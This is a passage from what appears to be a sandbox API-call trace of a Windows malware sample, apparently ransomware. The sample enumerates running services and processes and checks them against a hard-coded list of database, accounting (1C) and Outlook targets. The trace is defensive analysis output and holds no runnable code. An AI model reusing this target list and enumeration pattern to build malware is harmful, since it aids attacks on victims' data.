lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0272.949] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0272.949] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0272.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0272.950] lstrlenW (lpString="PlugPlay") returned 8 [0272.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0272.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0272.950] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0272.950] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0272.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0272.950] lstrlenW (lpString="Power") returned 5 [0272.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0272.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0272.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0272.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0272.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0272.950] lstrlenW (lpString="ProfSvc") returned 7 [0272.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0272.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0272.950] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0272.950] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0272.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0272.950] lstrlenW (lpString="RpcEptMapper") returned 12 [0272.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.950] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0272.950] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0272.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0272.950] lstrlenW (lpString="RpcSs") returned 5 [0272.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0272.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0272.950] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0272.950] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0272.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0272.950] lstrlenW (lpString="SamSs") returned 5 [0272.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0272.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0272.951] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0272.951] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0272.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0272.951] lstrlenW (lpString="Schedule") returned 8 [0272.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0272.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0272.951] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0272.951] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0272.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0272.951] lstrlenW (lpString="SENS") returned 4 [0272.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0272.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0272.951] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0272.951] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0272.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0272.951] lstrlenW (lpString="ShellHWDetection") returned 16 [0272.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.951] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0272.951] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0272.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0272.951] lstrlenW (lpString="Spooler") returned 7 [0272.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0272.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0272.951] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0272.951] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0272.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0272.951] lstrlenW (lpString="Themes") returned 6 [0272.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0272.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0272.952] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0272.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0272.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0272.952] lstrlenW (lpString="UxSms") returned 5 [0272.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0272.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0272.952] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0272.952] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0272.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0272.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x42d41d8 | out: hHeap=0x2a0000) returned 1 [0272.952] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c [0272.953] Process32FirstW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.953] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.954] lstrlenW (lpString="System") returned 6 [0272.954] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0272.954] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0272.954] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0272.954] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0272.954] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0272.954] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0272.954] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0272.954] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.954] lstrlenW (lpString="smss.exe") returned 8 [0272.954] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0272.954] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0272.954] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0272.954] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0272.954] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0272.955] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0272.955] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0272.955] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.955] lstrlenW (lpString="csrss.exe") returned 9 [0272.955] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.955] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.955] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.955] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.955] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.955] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.955] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0272.955] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.955] lstrlenW (lpString="wininit.exe") returned 11 [0272.955] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0272.955] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0272.955] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0272.955] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0272.955] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0272.955] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0272.955] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0272.956] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.956] lstrlenW (lpString="csrss.exe") returned 9 [0272.956] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.956] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.956] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.956] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.956] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.956] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.956] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0272.956] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.956] lstrlenW (lpString="winlogon.exe") returned 12 [0272.956] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0272.956] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0272.956] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0272.956] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0272.956] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0272.956] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0272.956] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0272.956] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.957] lstrlenW (lpString="services.exe") returned 12 [0272.957] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0272.957] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0272.957] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0272.957] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0272.957] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0272.957] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0272.957] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0272.957] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.957] lstrlenW (lpString="lsass.exe") returned 9 [0272.957] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0272.957] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0272.957] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0272.957] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0272.957] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0272.957] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0272.957] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0272.957] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0272.958] lstrlenW (lpString="lsm.exe") returned 7 [0272.958] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0272.958] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0272.958] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0272.958] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0272.958] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0272.958] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0272.958] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0272.958] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.958] lstrlenW (lpString="svchost.exe") returned 11 [0272.958] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.958] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.958] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.958] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0272.958] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0272.958] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0272.958] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0272.958] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.959] lstrlenW (lpString="svchost.exe") returned 11 [0272.959] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0272.959] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.959] lstrlenW (lpString="svchost.exe") returned 11 [0272.959] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0272.959] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0272.959] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.960] lstrlenW (lpString="svchost.exe") returned 11 [0272.960] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.960] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.960] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.960] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0272.960] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0272.960] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0272.960] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0272.960] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.960] lstrlenW (lpString="svchost.exe") returned 11 [0272.960] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.960] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.960] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.960] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.960] lstrlenW (lpString="audiodg.exe") returned 11 [0272.960] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.961] lstrlenW (lpString="svchost.exe") returned 11 [0272.961] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.961] lstrlenW (lpString="svchost.exe") returned 11 [0272.961] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0272.961] lstrlenW (lpString="userinit.exe") returned 12 [0272.961] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.962] lstrlenW (lpString="dwm.exe") returned 7 [0272.962] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.962] lstrlenW (lpString="explorer.exe") returned 12 [0272.962] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.962] lstrlenW (lpString="spoolsv.exe") returned 11 [0272.962] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.963] lstrlenW (lpString="taskhost.exe") returned 12 [0272.963] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.963] lstrlenW (lpString="svchost.exe") returned 11 [0272.963] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0272.963] lstrlenW (lpString="payload2.exe") returned 12 [0272.963] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0272.964] lstrlenW (lpString="reader_sl.exe") returned 13 [0272.964] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.964] lstrlenW (lpString="dllhost.exe") returned 11 [0272.964] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0272.964] CloseHandle (hObject=0x39c) returned 1 [0272.964] Sleep (dwMilliseconds=0x1f4) [0273.737] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280b18 [0273.818] EnumServicesStatusExW (in: hSCManager=0x4280b18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0273.818] GetLastError () returned 0xea [0273.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc9a) returned 0x4236140 [0273.818] EnumServicesStatusExW (in: hSCManager=0x4280b18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4236140, cbBufSize=0xc9a, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4236140, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0273.818] CloseServiceHandle (hSCObject=0x4280b18) returned 1 [0273.819] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0273.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.819] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0273.819] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0273.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0273.819] lstrlenW (lpString="AudioSrv") returned 8 [0273.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0273.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0273.819] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0273.819] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0273.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0273.819] lstrlenW (lpString="BFE") returned 3 [0273.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0273.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0273.819] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0273.819] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0273.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0273.819] lstrlenW (lpString="CryptSvc") returned 8 [0273.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0273.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0273.819] 